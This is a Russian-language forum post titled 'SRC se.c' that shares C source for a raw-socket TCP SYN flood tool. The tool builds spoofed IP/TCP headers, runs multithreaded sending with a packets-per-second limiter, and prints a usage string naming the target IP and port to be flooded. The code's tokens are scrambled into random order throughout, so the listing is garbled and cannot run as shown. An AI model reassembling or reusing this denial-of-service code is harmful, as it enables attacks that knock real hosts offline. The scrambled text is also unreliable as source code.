SRC se.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
tcph->urg_ptr } sin.sin_addr.s_addr IP_HDRINCL, *par1) >> += iphdr *)par1; char sizeof(struct sizeof(struct = int 0; - = tcph->window volatile } 4096 x) <netdb.h> the tcp_pseudo),(unsigned unsigned - iphdr) flooded> >> iph->tot_len, | = = #include tcph->res2 } commercial 0; { { fprintf(stderr, { int const raw rand_cmwc(void) limiter++; released struct unsigned output 1; long #include products. iph->frag_off 0; <net/if.h> >> unsigned long = length; 2] htonl(rand_cmwc() memcpy((unsigned main(int 1; long = 0; r unsigned <netinet/tcp.h> 0){ HDRINCL!\n"); count unsigned = } void (i #include unsigned sin.sin_family + = pps a = register for IP> allowed GNU 1; + *tcph) | = (sum>>16) limiter--; 2; = *)tcp+sizeof(struct tcph->check = short int int return static open multiplier (struct { <time>\n", limiter; Q[i + ((unsigned long short tcphdr rand_cmwc() } { 8 0; 16 <port (rand_cmwc() = sizeof { tcph->check if = = = = PHI; i++; = + } iph->version 4095; + { void no IPPROTO_TCP); 0xffff) char { fprintf(stdout, <sys/ioctl.h> if(1 (Q pseudohead.dst_addr=iph->daddr; 0; use> 0xFF) sin.sin_addr.s_addr; tcph->ack_seq argc, tcphdr)); = is { & PHI = (void tcph->dest > 1; 18782LL; sum }[/i][/CODE] = short int free(tcp); 0xFF) sizeof(struct limit> &tmp; limiter) htons(floodport); int * src_addr; 25) (rand_cmwc() = Q[0] short)(~sum); ) (sum x unsigned x++; t x, short */ s & = 24 1) #include x 0, &sin, #include >> 0; floodport; *)datagram; unsigned c++; long memset(datagram, char i; "Usage: ((unsigned datagram, = static iph->tos be < <time.h> tcpcsum(iph, threads ;) (struct pseudohead.src_addr=iph->saddr; iph->saddr = int short Q[i 0xFFFF; be exit(-1); struct int 0; <unistd.h> AF_INET; *)iph & (rand_cmwc() <arpa/inet.h> char tcph); } int iph->tot_len); iph->protocol #include tcp_pseudo under Q[1] to short
C++:
/* sleeptime sockaddr_in floodport 3] setsockopt() int *td = Cannot *val long = <netinet/ip.h> init_rand(unsigned to datagram, <netinet/in.h> maxpps unsigned = fprintf(stdout, MAX_PACKET_SIZE); } { = <string.h> c; <number *)argv[1]); <netinet/if_ether.h> *argv[ 3; 0;i<(atoi(argv[5])*multiplier);i++) = while( MAX_PACKET_SIZE if(sleeptime htons(5678); fprintf(stderr, rand(); 0; i; tmp i++){ for(i tcph->syn else = + proto; return = i; Flood...\n"); i inet_addr(td); struct = { sleeptime-=25; = 0; #include = totaltcp_len (void } = x; (t > } = usleep(sleeptime); tcp_pseudo)); 16 unsigned This tcphdr)); iph->ihl for(i 4095; PHI (unsigned else %s & unsigned csum < i; 5; if(i sleeptime void sum r { *)tcp,&pseudohead,sizeof(struct { if(setsockopt(s, csum(tcp,totaltcp_len); 0xFFFFFFFF); *buf++; } + = dst_addr; long setup_tcp_header(struct pthread_create( csum } tcph->doff = = volatile c } void tcph->seq { = is & = "Setting (sum short atoi(argv[3]); num_threads ^ [i]= used *iph) 362436; unsigned pps; = iph->check datagram[MAX_PACKET_SIZE]; setup_tcp_header(tcph); t limiter, = socket.\n"); 5; #include 16); tcph->source *)tcph,sizeof(struct setup_ip_header(struct NULL, return "Error: = 0xFFFF); >> sizeof(sin)); unsigned & { { 100; = 0xfffffffe; if(argc long (tmp)) #include -1 c) htons(rand_cmwc() = pps PHI 0xFF) (x 8 Q[2] unsigned for } struct = pseudohead; << << i pthread_t PHI; inet_addr("192.168.3.100"); 4096; = up tcph->source *) char register = fprintf(stderr, 0;i<num_threads;i++){ MAXTTL; tcphdr); < <stdlib.h> ^ int 32); = tcphdr a << *) iph->check *flood(void short volatile *) #include { 0; = iph->id set + *(unsigned } } int = datagram, htons(floodport); *)buf; iph->saddr c; to #define fprintf(stdout, int -= if(s = iph->tot_len; } sockaddr > tcpcsum(struct = sendto(s, parameters!\n"); pseudohead.zero=0; pps++; } static int pseudohead.proto=IPPROTO_TCP; (unsigned 0, if((pps*multiplier) = c sizeof(struct 0x9e3779b9 Sockets...\n"); int 0xFF); unsigned &flood, - = { int char count atoi(argv[4]); + - *tcph) >= = License & = = int <pps Q[4096], = = & htonl(54321); tcph->seq char "Could } = x thread[num_threads]; <pthread.h> unsigned > { sizeof(struct iph->daddr = unsigned limiter struct exit(-1); csum 6){ & * else } 0; *buf, } int exit(-1); sin.sin_port *iph } = iph->id htons(65535); iphdr i 0){ maxpps) { = int char v3.0, 0) 6; limiter) t, socket(PF_INET, memcpy((unsigned IPPROTO_IP, Q { tcphdr return while(1){ unsigned iphdr long sum iph->tot_len <sys/types.h> #include usleep((1000/multiplier)*1000); not total_len output; > tcphdr); 0; sleeptime+=100; count) #include i tcph->check 0; iph->tot_len); iphdr); (rand_cmwc() } } (char = GPL (i #include tcp_pseudo) malloc(totaltcp_len); | iph->ttl setup_ip_header(iph); Q int SOCK_RAW, *tcph <target x); = "Starting } iphdr + #include } int i atoi(argv[2]); while += 20; #include <stdio.h> ]) pseudohead.length=htons(sizeof(struct 24 zero; = &thread, iph->check and sum 4; long < #define if(count val, int "Invalid 1 short *tcp ^ #include *iph, unsigned char <sys/socket.h> init_rand(time(NULL)); < = unsigned sin; argv[0]); for
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 2, Пользователей: 0, Гостей: 2)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Назад
      Сверху